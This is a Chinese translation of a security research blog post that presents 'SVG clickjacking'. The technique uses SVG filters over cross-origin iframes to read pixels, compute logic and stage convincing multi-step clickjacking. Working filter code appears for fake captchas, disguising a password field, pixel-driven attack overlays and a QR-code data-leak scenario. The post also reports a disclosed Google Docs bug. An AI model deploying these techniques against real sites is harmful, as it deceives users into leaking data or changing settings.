SVG过滤器点击劫持技术深度解析

本文深入探讨了一种新型的点击劫持攻击技术——“SVG点击劫持”,利用SVG过滤器对跨域iframe内容进行像素读取、逻辑运算,甚至构建完整的交互式攻击流程,彻底改变了传统点击劫击的局限性。

SVG过滤器 - 点击劫持 2.0

点击劫持是一种经典的攻击方式,其原理是通过覆盖其他网站的iframe来诱使用户无意中与之交互。如果需要诱骗某人点击一两个按钮,这种方法效果很好,但对于更复杂的操作,则有些不切实际。

我发现了一种新技术,它彻底颠覆了传统的点击劫持,使得创建复杂的交互式点击劫持攻击以及多种形式的数据泄露成为可能。我称之为“SVG点击劫持”。

液态SVG

苹果公司宣布其新的Liquid Glass(液态玻璃)重新设计的那一天相当混乱。在社交媒体上,几乎每隔一个帖子都在讨论这种新设计,无论是批评其看似难以接近,还是惊叹其折射效果的逼真程度。

淹没在纷繁的帖海中,一个想法浮现在我的脑海中——重新创建这种效果有多难?我能在网络上,不借助Canvas和着色器的情况下做到吗?我开始工作,大约一小时后,我使用CSS/SVG相当精确地重现了这种效果。

上面的演示中,你可以通过右下角的圆形控制点拖动效果(Chrome/Firefox桌面版,Chrome移动版)。注意:此演示在Safari中无效。

我的技术演示在网上引起了不小的轰动,甚至催生了一篇新闻文章,其中包含了一句可能是迄今为止关于我最狂野的引用:“三星和其他公司与她相比都相形见绌”。

几天过去了,另一个想法浮现在我的脑海中——这种SVG效果能在iframe上方工作吗?就像,肯定不行吧?这种“折射光线”的方式太过复杂,无法在跨源文档上工作。

但是,令我惊讶的是,它确实可以。

这对我来说如此有趣的原因是,我的液态玻璃效果使用了feColorMatrixfeDisplacementMap SVG过滤器——分别用于改变像素颜色和移动像素。而我可以在跨源文档上做到这一点?

这让我想知道——其他过滤器能在iframe上工作吗?我们是否能将其转化为某种攻击?事实证明,所有过滤器都可以,而且,是的!

构建模块

我开始工作,遍历每一个 <fe*> SVG元素,找出哪些可以组合起来构建我们自己的攻击原语。

这些过滤器元素接收一个或多个输入图像,对其应用操作,并输出一个新图像。你可以在单个SVG过滤器中将多个过滤器链接在一起,并引用链中任何先前过滤器元素的输出。

让我们看看一些更有用的基本元素:

  • <feImage> - 加载图像文件;
  • <feFlood> - 绘制一个矩形;
  • <feOffset> - 移动内容;
  • <feDisplacementMap> - 根据映射移动像素;
  • <feGaussianBlur> - 模糊内容;
  • <feTile> - 平铺和裁剪实用工具;
  • <feMorphology> - 扩展/增亮或变暗区域;
  • <feBlend> - 根据模式混合两个输入;
  • <feComposite> - 合成实用工具,可用于应用Alpha遮罩,或对一个或两个输入进行各种算术运算;
  • <feColorMatrix> - 应用颜色矩阵,这允许在通道之间移动颜色以及在Alpha和亮度遮罩之间转换;

这是一个相当丰富的实用工具集!

如果你是demo爱好者,你可能会感到宾至如归。这些是许多计算机图形学的基本构建模块,它们可以组合成我们自己的许多有用原语。那么,让我们看一些例子。

伪造验证码

我将从一个基本数据泄露的例子开始。假设你正在定位一个包含某种敏感代码的iframe。你可以要求用户自己重新输入,但这可能看起来很可疑。

相反,我们可以利用feDisplacementMap使文本看起来像验证码!这样,用户更有可能重新输入代码。

这是你的秘密代码:6c79 7261 706f 6e79 不要与任何人分享!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<iframe src="..." style="filter:url(#captchaFilter)"></iframe>
<svg width="768" height="768" viewBox="0 0 768 768" xmlns="http://www.w3.org/2000/svg">
  <filter id="captchaFilter">
    <feTurbulence
      type="turbulence"
      baseFrequency="0.03"
      numOctaves="4"
      result="turbulence" />
    <feDisplacementMap
      in="SourceGraphic"
      in2="turbulence"
      scale="6"
      xChannelSelector="R"
      yChannelSelector="G" />
  </filter>
</svg>

注意:只有 <filter> 块内的部分是相关的,其余部分只是使用过滤器的示例。

再加上一些颜色效果和随机线条,你就得到了一个相当令人信服的验证码!

在我将要分享的所有攻击原语中,这个可能最不实用,因为网站很少允许你嵌入分发神奇秘密代码的页面。不过我想展示它,因为它是对这种攻击技术的一个非常简单的介绍。

不过,它可能派上用场,因为很多时候你被允许嵌入只读API端点,所以也许那里有值得发现的攻击。

隐藏灰色文本

下一个例子适用于你想欺骗某人,例如,与文本输入框交互的情况。通常输入框中有诸如灰色占位符文本之类的内容,因此仅显示输入框本身是不够的。

让我们看看我们的示例目标(尝试在框中输入)。

设置新密码 太短

在这个例子中,我们想欺骗用户设置攻击者已知的密码,因此我们希望他们能看到他们输入的文本,但看不到灰色的占位符文本或红色的“太短”文本。

让我们首先使用带有算术运算的feComposite使灰色文本消失。算术运算接收两个图像,i1 (in=...) 和 i2 (in2=...),并允许我们根据这个公式使用参数 k1, k2, k3, k4 进行逐像素数学运算:result = k1*i1*i2 + k2*i1 + k3*i2 + k4

设置新密码 太短

1
2
<feComposite operator=arithmetic
             k1=0 k2=4 k3=0 k4=0 />

提示! 如果你只想让它成为前一个输出,可以省略 in/in2 参数。

正在接近目标——通过增加输入的亮度,我们使灰色文本消失了,但现在黑色文本看起来有点可疑且难以阅读,尤其是在1倍缩放的显示器上。

我们可以调整参数,在隐藏灰色文本和显示黑色文本之间找到完美的平衡,但理想情况下,我们希望黑色文本看起来和通常一样,只是没有任何灰色文本。这可能吗?

这就是一个非常酷的技术登场的地方——遮罩。我们将创建一个遮罩来“裁切”出黑色文本并覆盖其他所有内容。我们需要很多步骤才能达到期望的结果,所以让我们一步步来。

我们首先使用feTile裁剪黑色文本过滤器的结果。

设置新密码 太短

1
<feTile x=20 y=56 width=184 height=22 />

注意:Safari似乎在使用feTile时遇到了一些麻烦,所以如果示例闪烁或看起来是空白,请在Firefox或Chrome等浏览器中阅读此文章。如果你要为Safari编写攻击代码,也可以通过使用feFlood制作亮度遮罩然后应用它来实现裁剪。

然后我们使用feMorphology来增加文本的粗细。

设置新密码 太短

1
<feMorphology operator=erode radius=3 result=thick />

现在我们必须增加遮罩的对比度。我将首先使用feFlood创建一个纯白色图像,然后我们可以使用feBlenddifference模式来反转我们的遮罩。然后我们可以使用feComposite来增强遮罩的对比度。

设置新密码 太短

1
2
3
<feFlood flood-color=#FFF result=white />
<feBlend mode=difference in=thick in2=white />
<feComposite operator=arithmetic k2=100 />

我们现在有了一个亮度遮罩!剩下的就是使用feColorMatrix将其转换为Alpha遮罩,使用feComposite将其应用到源图像,并使用feBlend使背景变白。

设置新密码 太短

1
2
3
4
5
6
7
<feColorMatrix type=matrix
        values="0 0 0 0 0
                0 0 0 0 0
                0 0 0 0 0
                0 0 1 0 0" />
<feComposite in=SourceGraphic operator=in />
<feBlend in2=white />

看起来很不错,对吧!如果你清空输入框(试试看!),你可能会注意到一些揭示我们操作痕迹的伪影,但除此之外,这是一种相当好的方式,可以在攻击中“雕琢”和塑造各种输入。

你可以添加各种其他效果来使输入看起来恰到好处。让我们把所有内容组合成一个完整的攻击示例。

设置新密码 太短 输入您的电子邮件地址:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<filter>
  <feComposite operator=arithmetic
               k1=0 k2=4 k3=0 k4=0 />
  <feTile x=20 y=56 width=184 height=22 />
  <feMorphology operator=erode radius=3 result=thick />
  <feFlood flood-color=#FFF result=white />
  <feBlend mode=difference in=thick in2=white />
  <feComposite operator=arithmetic k2=100 />
  <feColorMatrix type=matrix
      values="0 0 0 0 0
              0 0 0 0 0
              0 0 0 0 0
              0 0 1 0 0" />
  <feComposite in=SourceGraphic operator=in />
  <feTile x=21 y=57 width=182 height=20 />
  <feBlend in2=white />
  <feBlend mode=difference in2=white />
  <feComposite operator=arithmetic k2=1 k4=0.02 />
</filter>

你可以看到文本框现在是如何被完全重新语境化以适应不同的设计,同时仍然保持完全的功能性。

像素读取

现在我们来到了可能是最有用的攻击原语——像素读取。没错,你可以使用SVG过滤器从图像中读取颜色数据,并对其执行各种逻辑操作,以创建非常高级和令人信服的攻击。

当然,限制是你必须在SVG过滤器内完成所有操作——无法将数据取出。尽管如此,如果你能创造性地使用它,它的功能非常强大。

从更高的层面上看,这让我们能够使点击劫持攻击中的所有内容都具有响应性——假按钮可以有悬停效果,点击它们可以显示假的下拉菜单和对话框,我们甚至可以有假的表单验证。

让我们从一个简单的例子开始——检测一个像素是否为纯黑色,并用它来打开或关闭另一个过滤器。

<— 非常酷!点击改变颜色

对于这个目标,我们想要检测用户何时点击框来改变其颜色,并使用它来切换模糊效果。 从这里开始的所有示例在Safari上都是无效的。如果你看不到它们,请使用Firefox或Chrome。

1
2
3
4
<feTile x="50" y="50"
        width="4" height="4" />
<feTile x="0" y="0"
        width="100%" height="100%" />

让我们首先使用两个feTile过滤器副本,首先裁剪出我们感兴趣的少数像素,然后将这些像素平铺到整个图像上。结果是,我们现在整个屏幕都充满了我们感兴趣区域的颜色。

1
<feComposite operator=arithmetic k2=100 />

我们可以通过与上一节相同的方式,使用feComposite的算术运算,但使用更大的k2值,将此结果转换为二进制的开/关值。这使得输出图像要么完全黑色,要么完全白色。

1
2
3
4
5
6
7
8
9
<feColorMatrix type=matrix
  values="0 0 0 0 0
          0 0 0 0 0
          0 0 0 0 0
          0 0 1 0 0" result=mask />
<feGaussianBlur in=SourceGraphic
                stdDeviation=3 />
<feComposite operator=in in2=mask />
<feBlend in2=SourceGraphic />

和之前一样,这可以用作遮罩。我们再次将其转换为Alpha遮罩,但这次将其应用于模糊过滤器。这就是如何判断一个像素是否为黑色并用它来切换过滤器的方法!

哦不!似乎有人把目标按钮换成了彩虹主题的!我们如何调整这种技术以适应任意的颜色和纹理呢?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<!-- crop to first stripe of the flag -->
<feTile x="22" y="22"
        width="4" height="4" />
<feTile x="0" y="0" result="col"
        width="100%" height="100%" />
<!-- generate a color to diff against -->
<feFlood flood-color="#5BCFFA"
         result="blue" />
<feBlend mode="difference"
         in="col" in2="blue" />
<!-- k4 is for more lenient threshold -->
<feComposite operator=arithmetic
             k2=100 k4=-5 />
<!-- do the masking and blur stuff... -->
...

解决方案非常简单——我们可以简单地使用feBlenddifference模式结合feColorMatrix来合并颜色通道,将图像转换为与之前类似的黑色/白色遮罩。对于纹理,我们可以使用feImage,对于非精确颜色,我们可以使用一点feComposite的算术运算来使匹配阈值更宽松。

就是这样,一个关于如何读取像素值并用它来切换过滤器的简单例子。

逻辑门

但有趣的部分来了!我们可以重复像素读取过程来读取多个像素,然后对它们运行逻辑来编程一个攻击。

通过使用feBlendfeComposite,我们可以重新创建所有逻辑门,并使SVG过滤器在功能上变得完备。这意味着我们可以编程任何我们想要的东西,只要它不是基于时间的,并且不占用太多资源。

输入 A 输入 B

输入: NOT:

1
<feBlend mode=difference in2=white />

AND:

1
<feComposite operator=arithmetic k1=1 />

OR:

1
<feComposite operator=arithmetic k2=1 k3=1 />

XOR:

1
<feBlend mode=difference in=a in2=b />

NAND: (AND + NOT) NOR: (OR + NOT) XNOR: (XOR + NOT)

这些逻辑门是现代计算机的基础。如果你想的话,你可以在一个SVG过滤器里造一台计算机。事实上,这是我做的一个基本计算器:

SVG 加法器

:3 1 2 4 8 16 32 64 128

输入 A 输入 B 进位 输出

这是一个全加器电路。这个过滤器使用上述逻辑门实现了输出 S = A⊕B⊕Cin 的逻辑和进位 Cout = (A∧B)∨(Cin∧(A⊕B)) 的逻辑。在SVG过滤器中有更有效的方法来实现加法器,但这旨在证明实现任意逻辑电路的能力。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!-- util -->
<feOffset in="SourceGraphic" dx="0" dy="0" result=src />
<feTile x="16px" y="16px" width="4" height="4" in=src />
<feTile x="0" y="0" width="100%" height="100%" result=a />
<feTile x="48px" y="16px" width="4" height="4" in=src />
<feTile x="0" y="0" width="100%" height="100%" result=b />
<feTile x="72px" y="16px" width="4" height="4" in=src />
<feTile x="0" y="0" width="100%" height="100%" result=c />
<feFlood flood-color=#FFF result=white />
<!-- A ⊕ B -->
<feBlend mode=difference in=a in2=b result=ab />
<!-- [A ⊕ B] ⊕ C -->
<feBlend mode=difference in2=c />
<!-- Save result to 'out' -->
<feTile x="96px" y="0px" width="32" height="32" result=out />
<!-- C ∧ [A ⊕ B] -->
<feComposite operator=arithmetic k1=1 in=ab in2=c result=abc />
<!-- (A ∧ B) -->
<feComposite operator=arithmetic k1=1 in=a in2=b />
<!-- [A ∧ B] ∨ [C ∧ (A ⊕ B)] -->
<feComposite operator=arithmetic k2=1 k3=1 in2=abc />
<!-- Save result to 'carry' -->
<feTile x="64px" y="32px" width="32" height="32" result=carry />
<!-- Combine results -->
<feBlend in2=out />
<feBlend in2=src result=done />
<!-- Shift first row to last -->
<feTile x="0" y="0" width="100%" height="32" />
<feTile x="0" y="0" width="100%" height="100%" result=lastrow />
<feOffset dx="0" dy="-32" in=done />
<feBlend in2=lastrow />
<!-- Crop to output -->
<feTile x="0" y="0" width="100%" height="100%" />

无论如何,对于攻击者来说,这一切意味着你可以制作一个具有大量条件和交互性的多步骤点击劫持攻击。并且你可以在来自跨域框架的数据上运行逻辑。

Securify 欢迎使用此安全应用! 黑我

黑客确认 您确定要被打黑吗? 我 100% 确定

你已被黑!(点击返回)

这是一个示例目标,我们想欺骗用户将自己标记为被黑,这需要几个步骤:

  1. 点击按钮打开对话框
  2. 等待对话框加载
  3. 点击对话框内的复选框
  4. 点击对话框内的另一个按钮
  5. 检查出现的红色文本

Securify 欢迎使用此安全应用! 黑我

黑客确认 您确定要被打黑吗? 我 100% 确定

你已被黑!(点击返回)

免费赢取 iPod,按照以下步骤操作。 1. 点击这里 2. 等待 3 秒 3. 点击 4. 点击这里

针对此目标的传统点击劫持攻击将难以实现。你需要让用户在没有UI反馈的情况下连续点击多个按钮。

你可以使用一些技巧使传统攻击比上面看到的更具说服力,但它看起来仍然非常可疑。一旦你将类似文本输入的东西混入其中,它就完全行不通了。

无论如何,让我们为基于过滤器的攻击构建一个逻辑树:

  • 对话框是否打开?
    • (否) 红色文本是否存在?
      • (否) 让用户按下按钮
      • (是) 显示结束屏幕
    • (是) 对话框是否已加载?
      • (否) 显示加载屏幕
      • (是) 复选框是否被勾选?
        • (否) 让用户勾选复选框
        • (是) 让用户点击按钮

这可以用逻辑门表示为:

输入

  • D (对话框可见) = 检查背景变暗
  • L (对话框已加载) = 检查对话框中的按钮
  • C (复选框已勾选) = 检查按钮是蓝色还是灰色
  • R (红色文本可见) = 使用feMorphology并检查红色像素

输出

  • (¬D) ∧ (¬R) => button1.png
  • D ∧ (¬L) => loading.png
  • D ∧ L ∧ (¬C) => checkbox.png
  • D ∧ L ∧ C => button2.png
  • (¬D) ∧ R => end.png

这就是我们在SVG中实现它的方式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!-- util -->
<feTile x="14px" y="4px" width="4" height="4" in=SourceGraphic />
<feTile x="0" y="0" width="100%" height="100%" />
<feColorMatrix type=matrix result=debugEnabled
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feFlood flood-color=#FFF result=white />
<!-- attack imgs -->
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=button1.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=loading.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=checkbox.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=button2.png></feImage>
<feImage xlink:href="data:..." x=0 y=0 width=420 height=220 result=end.png></feImage>
<!-- D (dialog visible) -->
<feTile x="4px" y="4px" width="4" height="4" in=SourceGraphic />
<feTile x="0" y="0" width="100%" height="100%" />
<feBlend mode=difference in2=white />
<feComposite operator=arithmetic k2=100 k4=-1 result=D />
<!-- L (dialog loaded) -->
<feTile x="313px" y="141px" width="4" height="4" in=SourceGraphic />
<feTile x="0" y="0" width="100%" height="100%" result="dialogBtn" />
<feBlend mode=difference in2=white />
<feComposite operator=arithmetic k2=100 k4=-1 result=L />
<!-- C (checkbox checked) -->
<feFlood flood-color=#0B57D0 />
<feBlend mode=difference in=dialogBtn />
<feComposite operator=arithmetic k2=4 k4=-1 />
<feComposite operator=arithmetic k2=100 k4=-1 />
<feColorMatrix type=matrix
               values="1 1 1 0 0
                       1 1 1 0 0
                       1 1 1 0 0
                       1 1 1 1 0" />
<feBlend mode=difference in2=white result=C />
<!-- R (red text visible) -->
<feMorphology operator=erode radius=3 in=SourceGraphic />
<feTile x="17px" y="150px" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result=redtext />
<feColorMatrix type=matrix
               values="0 0 1 0 0
                       0 0 0 0 0
                       0 0 0 0 0
                       0 0 1 0 0" />
<feComposite operator=arithmetic k2=2 k3=-5 in=redtext />
<feColorMatrix type=matrix result=R
               values="1 0 0 0 0
                       1 0 0 0 0
                       1 0 0 0 0
                       1 0 0 0 1" />
<!-- Attack overlays -->
<feColorMatrix type=matrix in=R
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=end.png operator=in />
<feBlend in2=button1.png />
<feBlend in2=SourceGraphic result=out />
<feColorMatrix type=matrix in=C
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=button2.png operator=in />
<feBlend in2=checkbox.png result=loadedGraphic />
<feColorMatrix type=matrix in=L
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=loadedGraphic operator=in />
<feBlend in2=loading.png result=dialogGraphic />
<feColorMatrix type=matrix in=D
  values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0" />
<feComposite in=dialogGraphic operator=in />
<feBlend in2=out />

Securify 欢迎使用此安全应用! 黑我

黑客确认 您确定要被打黑吗? 我 100% 确定

你已被黑!(点击返回)

显示带透明度的攻击

尝试操作这个,看看它作为一次攻击要令人信服多少。我们还可以轻松地让它变得更好,例如,添加一些额外的逻辑来为按钮添加悬停视觉效果。演示的左上角有四个输入(D, L, C, R)的调试视觉效果(方块),以帮助你理解发生了什么。

是的,这就是你如何制作复杂且冗长的点击劫持攻击的方法,这些攻击使用传统的点击劫持方法是不现实的。

我这里的这个例子保持得相当简短和简单,但现实世界的攻击可能涉及更多且更加精致。

事实上…

Docs漏洞

我实际上已经成功地对Google Docs实施了这种攻击!

看看这里的演示视频。

这次攻击所做的是:

  1. 让用户点击“生成文档”按钮
  2. 一旦按下,检测弹出窗口并向用户显示一个用于输入“验证码”的文本框
    • 文本框开始时有一个渐变动画,必须处理
    • 文本框有焦点状态,在攻击视觉效果中也必须存在,因此必须通过文本框的背景颜色来检测
    • 文本框有占位符文本和建议的灰色文本,必须使用前面讨论的技术隐藏
  3. 一旦输入验证码,让用户似乎点击一个按钮(或按回车键),这会导致一个建议的Docs项目被添加到文本框中
    • 必须通过在文本框中查找其背景颜色来检测此项目
  4. 一旦检测到该项目,必须隐藏文本框并显示另一个按钮
    • 一旦点击该按钮,会出现一个加载屏幕,必须检测到
  5. 如果加载屏幕存在,或者对话框不可见且“生成文档”按钮不存在,则攻击结束,必须显示最终屏幕

在过去,这种攻击的个别部分本可以通过传统的点击劫持和一些基本的CSS来实现,但整个攻击过程会太长且复杂,不切实际。借助这种在SVG过滤器中运行逻辑的新技术,此类攻击变得可行。

Google VRP 为这个发现奖励了我 3133.70 美元。那当然是在他们为新的漏洞类别引入新颖性奖金之前。哼!

QR攻击

我经常在网上讨论中看到人们坚持认为二维码很危险。这让我有点不爽,因为二维码并不比链接更危险。

我通常对此评论不多,因为最好避免可疑链接,二维码也是如此,但看到人们把二维码描绘成能立即黑掉你的邪恶东西,确实让我很烦。

但事实证明,我的SVG过滤器攻击技术也可以应用于二维码!

早些时候博客中关于重新输入代码的例子,一旦用户意识到他们正在输入不应该输入的内容,就会变得不切实际。我们也不能将我们泄露的数据塞进链接中,因为SVG过滤器无法创建链接。

但是,既然SVG过滤器可以运行逻辑并提供视觉输出,也许我们可以生成一个带有链接的二维码?

创建QR码

然而,在SVG过滤器中创建QR码说起来容易做起来难。我们可以使用feDisplacementMap将二进制数据塑造成QR码的形状,但为了使QR码可扫描,它还需要纠错数据。

QR码使用里德-所罗门纠错,这是一种涉及多项式的有趣数学内容,比简单的校验和要高级一些。在SVG中重新实现有点烦人。

幸运的是,我以前遇到过同样的问题!早在2021年,我就是第一个在《我的世界》中制作QR码生成器的人,所以我已经弄清楚了必要的事情。

在我的构建中,我预先计算了一些用于纠错的查找表,并使用它们来简化构建——我们也可以在SVG过滤器中做同样的事情。

这篇文章已经相当长了,所以我将把弄清楚这个过滤器如何工作留给读者作为练习。

悬停查看QR码

这是一个演示,显示一个QR码,告诉你你在这个页面上停留了多少秒。它有点不稳定,所以如果它不工作,请确保你没有使用任何显示缩放或自定义颜色配置文件。在Windows上,你可以切换“为应用自动管理颜色”设置,在Mac上,你可以将颜色配置文件设置为sRGB以使其工作。

此演示在移动设备上无效。而且,目前,它仅适用于基于Chromium的浏览器,但我相信它也可以在Firefox中实现。

同样,在实际攻击中,缩放和颜色配置文件问题可以通过一些JavaScript技巧解决,或者只是通过稍微不同的方式实现过滤器来解决——这里只是一个有点粗糙的概念验证。

但这就是一个内置在SVG过滤器中的QR码生成器!

我花了一段时间才完成,但我不想仅仅因为它是“理论上可行”就写它。

攻击场景

所以QR码的攻击场景是,你会从一个框架中读取像素,处理它们以提取你想要的数据,将它们编码成一个看起来像 https://lyra.horse/?ref=c3VwZXIgc2VjcmV0IGluZm8 的URL,并将其渲染成QR码。

然后,你提示用户扫描QR码,无论出于什么原因(例如反机器人检查)。对他们来说,URL看起来只是一个带有跟踪ID之类内容的普通URL。

一旦用户打开URL,你的服务器就会收到请求并从URL接收数据。

等等…

这种技术有太多的利用方式,我无法在这篇文章中一一介绍。一些例子包括使用difference混合模式读取文本,或者通过让用户点击屏幕的某些部分来泄露数据。

你甚至可以从外部插入数据,在SVG内部拥有一个假的鼠标光标,显示指针光标并对SVG内部的假按钮做出反应,使泄露看起来更真实。

或者,你可以在CSP不允许任何JS的情况下,用CSS和SVG编写攻击代码。

无论如何,这篇文章已经够长了,所以我把弄清楚这些技术作为家庭作业。

新技术

这是我安全研究以来第一次发现一个全新的技术!

我九月份在我的BSides演讲中简要介绍了它,这篇文章是对该技术及其使用方式的更深入概述。

当然,你永远不能100%确定某种特定类型的攻击从未被其他人发现,但我广泛的现有安全研究搜索一无所获,所以我想我可以自封为发现它的研究人员?

以下是我找到的一些先前研究:

  • 《You click, I steal: analyzing and detecting click hijacking attacks in web pages》,
  • 《On the fragility and limitations of current Browser-provided Clickjacking protection schemes》
    • 这些论文提到了点击劫持攻击中的SVG过滤器,但仅限于模糊底层元素的上下文,而不是运行逻辑。
  • 《Pixel Perfect Timing - Attacks with HTML5》,
  • 《Security: SVG Filter Timing Attack》
    • 关于通过SVG过滤器定时攻击读取像素的研究,该技术在现代浏览器中已被缓解。
  • 《The Human Side Channel》
    • 一些相当酷的点击劫持技术,但没有多步攻击或SVG逻辑。
  • 《SVG is turing-complete-ish》
    • 我在写博客后发现的另一个SVG逻辑门例子。它很有趣,因为它带有reddit和hn线程——我特别喜欢一条评论,询问这种图灵完备性是有用还是只是一个有趣的事实,回复确认了后者。我喜欢把有趣的事实变成漏洞^^。
    • 请注意,SVG过滤器是否实际上是图灵完备的是有疑问的,因为过滤器是以恒定时间实现的,并且不能循环运行。这并不意味着它们不能是图灵完备的,但也不能证明它们是。

我不认为我发现这种技术只是运气。我有将诸如CSS之类的事物视为编程语言来利用和创造的历史。对我来说,将SVG过滤器视为一种编程语言也并不牵强。

此外,还有我在安全研究和创意项目之间的重叠——我经常模糊两者之间的界限,这就是Antonymph诞生的原因。

无论如何,发现这样的事情感觉很棒。

后记

哇,这篇文章花了我这么长时间才完成!

我七月份开始着手,预计在九月份我的CSS演讲的同时发布,但实际完成这件事花了我比预期长得多的时间。我想确保这是一篇有深度的好文章,而不是我尽快完成的东西。

与我之前的文章不同,我不得不打破无图像的趋势,因为我需要在SVG过滤器中使用一些数据URI进行演示。尽管如此,文章其他地方没有图像,没有JavaScript,只有42kB(gzip)手工编写的HTML/CSS/SVG。

另外,我通常会在我的文章中隐藏一堆复活节彩蛋,链接到我最近喜欢的东西,但我有一些链接不想在没有内容警告的情况下包含。Finding responsibility 是一个关于确保你的工作不会最终害人的伦理问题的相当黑暗的演讲,而 youre the one ive always wanted 是略微NSFW的狗狗地狱发泄艺术。

顺便说一句,我很快将在 39c3 和 Disobey 2026 上做演讲!39c3 的演讲标题是“CSS clicker training”,内容是关于 CSS 犯罪和在 CSS 中制作游戏。Disobey 的演讲与 BSides 关于使用 CSS 入侵东西和获得漏洞赏金的演讲相同,但我会确保加入一些额外内容以保持趣味性。

回头见!!

<3

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计